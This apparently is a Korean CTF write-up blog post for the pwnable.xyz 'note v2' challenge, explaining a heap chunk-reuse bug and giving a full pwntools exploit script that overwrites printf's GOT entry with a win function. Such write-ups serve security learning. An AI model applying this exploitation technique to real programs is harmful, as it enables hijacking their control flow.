note문제의 v2로 비슷한 기능이 주어진다
hackCTF에도 이와 유사한 문제가 존재하는데 그거에 하위 호환 문제인 것 같다
중요한 기능흔 make_note와 delete_note다
delete_note에서는 note 문자열이 저장된 chunk를 해제하고 book에서도 해당 인덱스를 비워 uaf를 방지한다
make_note에서는 2개의 청크를 할당 받는데 0x28 크기의 청크를 할당받고 해당 청크에 제목을 입력받고 chunk + 0x20에 note문자열을 저장한 청크의 주소를 저장한다
이때 이미 title에서 할당 받은 청크의 0x20에 값이 채워져 있으면 해당 청크를 그대로 사용하게 된다
처음 청크를 만들때 note를 title과 같은 0x28 크기를 할당받고 0x20에 got주소를 넣어준 다음 해제하고 재할당해서 title의 청크가 되도록 한 뒤 got주소를 win함수로 덮어 줬다
from pwn import *
p = remote("svc.pwnable.xyz", 30030)
#p = process("./note_v2")
#gdb.attach(p)
def make_note(length, title, note):
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"note: ")
p.sendline(str(length))
p.recvuntil(b"title: ")
p.send(title)
p.recvuntil(b"note: ")
p.send(note)
def delete_note(idx):
p.recvuntil(b"> ")
p.sendline(b"3")
p.recvuntil(b"#: ")
p.sendline(str(idx))
printf_got = 0x602040
win = 0x40096c
payload = b"A" * 0x20
payload += b"\x40\x20\x60\x00\x00"
make_note(0x28, b"AAA", payload)
delete_note(0)
make_note(18, b"AAA", p64(win))
p.interactive()
'pwn > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / Dirty Turtle (0) | 2022.05.24 |
---|---|
pwnable.xyz / Hero Factory (0) | 2022.05.24 |
pwnable.xyz / executioner v2 (0) | 2022.05.23 |
pwnable.xyz / badayum (0) | 2022.05.23 |
pwnable.xyz / password (0) | 2022.05.23 |